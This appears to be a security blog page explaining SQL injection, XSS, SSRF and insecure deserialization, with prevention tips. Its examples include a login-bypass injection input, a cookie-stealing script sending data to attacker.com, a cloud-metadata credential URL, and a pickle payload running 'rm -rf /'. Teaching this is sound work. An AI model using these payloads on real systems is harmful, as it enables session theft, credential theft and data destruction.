RClueX Security Blog

Expert insights on cybersecurity, web development, and penetration testing

Featured Security Topics

SQL Injection in Depth

Explore the techniques, prevention methods, and real-world examples of SQL injection attacks that compromise databases.

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15 min read Jun 15, 2023

XSS Attack Vectors

Understand how Cross-Site Scripting works, its variations, and how to protect your web applications from these attacks.

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12 min read Jul 3, 2023

SSRF Exploitation Techniques

Learn about Server-Side Request Forgery vulnerabilities and how attackers exploit internal network resources.

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18 min read Aug 12, 2023

Insecure Deserialization

Discover how deserialization vulnerabilities can lead to remote code execution and data manipulation attacks.

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14 min read Sep 5, 2023

Secure Web Development

Best practices for building secure web applications from the ground up with security-first approach.

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20 min read Oct 18, 2023

Red Team Operations

Insights into professional red teaming methodologies and network penetration testing approaches.

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16 min read Nov 7, 2023

Application Security

Comprehensive guide to application security testing, vulnerability assessment, and secure coding practices.

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22 min read Dec 1, 2023

SQL Injection in Depth

SQL Injection (SQLi) is a code injection technique that attacks data-driven applications by inserting malicious SQL statements into an execution entry point. It's one of the most common web hacking techniques.

Types of SQL Injection

  • Classic SQLi: UNION-based attacks that combine results from multiple tables
  • Error-based SQLi: Extracting information from database error messages
  • Blind SQLi: Inferring data from true/false questions sent to the database
  • Time-based SQLi: Using time delays to infer database structure

Example Attack

# Vulnerable code example
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

# Malicious input
username: admin'--
password: [anything]

# Resulting query
SELECT * FROM users WHERE username = 'admin'--' AND password = '[anything]'

Prevention: Use parameterized queries, stored procedures, ORM frameworks, input validation, and principle of least privilege for database accounts.

XSS (Cross-Site Scripting) Attack Vectors

Cross-Site Scripting (XSS) attacks enable attackers to inject client-side scripts into web pages viewed by other users.

XSS Variants

  • Reflected XSS: The malicious script comes from the current HTTP request
  • Stored XSS: The malicious script is stored on the target server
  • DOM-based XSS: The vulnerability exists in client-side code rather than server-side code

Common Attack Vectors

# Example reflected XSS
http://example.com/search?query=<script>alert('XSS')</script>

# Example stealing cookies
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Impact: XSS can lead to account takeover, session hijacking, defacement of websites, and distribution of malware.

Defense Mechanisms

Content Security Policy (CSP), input validation, output encoding, and using frameworks that automatically escape XSS by design.

SSRF (Server-Side Request Forgery) Exploitation

SSRF attacks allow attackers to induce the server-side application to make requests to an unintended location.

Common SSRF Targets

  • Internal services in the server's network environment
  • Cloud metadata services (AWS, Azure, GCP)
  • Other internal systems that shouldn't be exposed

Example Attack

# Vulnerable code that fetches URLs
def fetch_url(url):
  return requests.get(url).content

# Attacker provides
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Server fetches internal cloud metadata

Prevention: Whitelist allowed domains, disable unused URL schemes, segment networks, and use authentication for internal services.

Insecure Deserialization Vulnerabilities

Insecure deserialization occurs when untrusted data is used to abuse the logic of an application.

Attack Vectors

  • Object injection leading to remote code execution
  • Privilege escalation attacks
  • Authentication bypass

Example with Python Pickle

# Malicious pickle payload
import pickle
import os

class Exploit(object):
  def __reduce__(self):
    return (os.system, ('rm -rf /',))

payload = pickle.dumps(Exploit())
# Send payload to vulnerable application

Impact: Insecure deserialization can lead to remote code execution, one of the most serious vulnerabilities.

Prevention

Never deserialize untrusted data, use digital signatures to verify data, and employ safe serialization formats like JSON.

Secure Web Development Practices

Building secure web applications requires a security-first mindset throughout the development lifecycle.

Red Team Operations & Network VAPT

Professional red teaming simulates real-world attacks to test an organization's defense capabilities.

Application Security Testing Methodology

Comprehensive application security involves multiple testing approaches and tools.